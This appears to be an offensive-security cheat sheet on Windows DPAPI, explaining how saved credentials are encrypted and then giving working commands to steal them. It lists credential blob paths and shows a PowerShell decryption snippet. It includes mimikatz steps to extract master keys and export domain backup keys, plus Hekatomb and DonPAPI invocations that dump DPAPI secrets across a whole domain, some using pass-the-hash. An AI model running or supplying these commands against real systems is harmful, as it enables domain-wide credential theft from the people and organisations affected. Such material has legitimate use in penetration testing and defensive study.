Windows - DPAPI

contents

windows-dpapi.md

On Windows, credentials saved in the Windows Credentials Manager are encrypted using Microsoft’s Data Protection API and stored as “blob” files in user AppData folder.

Summary#

Data Protection API

Data Protection API#

Outside of a domain: the user’s password hash is used to encrypt these “blobs”.
Inside a domain: the domain controller's master key is used to encrypt these blobs.

With the extracted private key of the domain controller, it is possible to decrypt all the blobs, and therefore to recover all the secrets recorded in the Windows identification manager of all the work
stations in the domain.

vaultcmd /listVaultCmd /listcreds:<namevault>|<guidvault> /allvaultcmd /listcreds:"Windows Credentials" /all

List Credential Files#

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

DPAPI LocalMachine Context#

The LocalMachine context is used to protect data that is intended to be shared across different users or services on a single machine. This means that any user or service running on the machine can access the protected data with the appropriate credentials.

In contrast, the CurrentUser context is used to protect data that is intended to be accessed only by the user who encrypted it, and cannot be accessed by other users or services on the same machine.

$a = [System.Convert]::FromBase64String("AQAAANCMnd[...]")$b = [System.Security.Cryptography.ProtectedData]::Unprotect($a, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)[System.Text.Encoding]::ASCII.GetString($b)

Mimikatz - Credential Manager & DPAPI#

# check the folder to find credentialsdir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*# check the file with mimikatzmimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0# find master keymimikatz !sekurlsa::dpapi# use master keymimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b# find and export backup keyslsadump::backupkeys /system:dc01.lab.local /export# use backup keysdpapi::masterkey /in:"C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk

Hekatomb - Steal all credentials on domain#

ProcessusT/Hekatomb is a python script that connects to LDAP directory to retrieve all computers and users informations. Then it will download all DPAPI blob of all users from all computers. Finally, it will extract domain controller private key through RPC uses it to decrypt all credentials.

pip3 install hekatombhekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

DonPAPI - Dumping DPAPI credz remotely#

DonPAPI.py domain/user:passw0rd@targetDonPAPI.py --hashes <LM>:<NT> domain/user@target# using domain backup keydpapi.py backupkeys --export -t domain/user:passw0rd@target_dc_ippython DonPAPI.py -pvk domain_backupkey.pvk domain/user:passw0rd@domain_network_list